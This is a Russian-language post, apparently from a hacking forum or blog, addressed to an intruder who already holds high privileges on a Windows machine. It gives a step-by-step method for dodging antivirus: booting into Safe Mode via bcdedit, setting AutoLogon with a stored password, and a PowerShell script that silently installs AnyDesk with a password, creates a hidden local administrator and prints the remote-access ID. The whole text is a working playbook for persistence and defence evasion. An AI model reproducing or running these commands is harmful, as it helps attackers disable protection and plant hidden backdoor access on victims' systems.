Всем привет.
Проблема: вы играете в злодея, который ворвался в чужую инфраструктуру на одну из Windows систем (имея высокие привелегии), но не озаботился красивой связкой сплойтов для гашения антивируса. Антивирус работает, шаг влево, шаг вправо и ты попался, любое желание деструктивных/криминальных/гангстерских действий сразу же отпало.
Будем делать это "поWindow'ову" в бюджет варианте.
SafeMode
Почему SafeMode? Большинство антивирусных решений для Windows не умеет работать в SafeMode - это говорит о том, что ты можешь делать что твоей душе угодно. Единственная проблема - перезагрузка машины, которая может вызвать недоумение у админа, но спишем на скорость его реакции, сонное похмелье и чуточку удачи.
Вгоняем машину в SafeMode:
bcdedit /set {default} safeboot
Перезагружаем:
shutdown -r -t 0
Всё это очень классно, но что если:
1. На учётной записи стоит пароль и он будет запрашиваться с окном входа, которое будет недоступно.
2. Если пароля нет - не будет удалённого доступа без пароля.
Попробуем это решить следующим способом.
Включаем AutoLogon через реестр, где "USERNAME" - имя учётной записи с правами Local Admin:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d USERNAME /f
Указываем пароль от учётной записи, где "PASSWORD" - пароль от учётной записи:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d PASSWORD /f
Включаем сам AutoLogon:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
Удалённый доступ
Шикарно. Теперь после перезагрузки будет автологин и отобразиться рабочий стол в SafeMode, но удалённого доступа всё также нет. Что же делать?
Как бы это странно не звучало, но нам поможет друг каждого работяги на саппорте - AnyDesk.
Можно конечно его запустить заранее скаченным перед загоном машины в SafeMode через RunOnce (https://learn.microsoft.com/ru-ru/windows/win32/setupapi/run-and-runonce-registry-keys):
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c path_to_anydesk"" /f
Но проблема в том, что нам очень важно время, админ проснулся после алертов от перезагрузки машины и уже лениво идёт к своему компьютеру, посмотреть что же там такое произошло.
Поступим грязно, а именно возьмём следующий PowerShell скрипт для генерации ID AnyDesk пользователя и запустим его через RunOnce перед загоном в SafeMode:
Function AnyDesk {
mkdir "C:\ProgramData\AnyDesk"
# Download AnyDesk
$clnt = new-object System.Net.WebClient
$url = "http://download.anydesk.com/AnyDesk.exe"
$file = "C:\ProgramData\AnyDesk.exe"
$clnt.DownloadFile($url,$file)
cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
cmd.exe /c echo ANYDESKPASSWORD | C:\ProgramData\anydesk.exe --set-password
net user NEWADMINUSER "PASSWORD" /add
net localgroup Administrators NEWADMINUSER /ADD
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v NEWADMINUSER /t REG_DWORD /d 0 /f
cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id
}
AnyDesk
С выхода скрипта - получаем ID пользователя в AnyDesk с твёрдой мотивацией продолжить свои грязные делишки.
Если админ крепко спал, то даже сможем отправить машину обратно в нормальное состояние:
bcdedit /deletevalue {default} safeboot & shutdown -r -t 0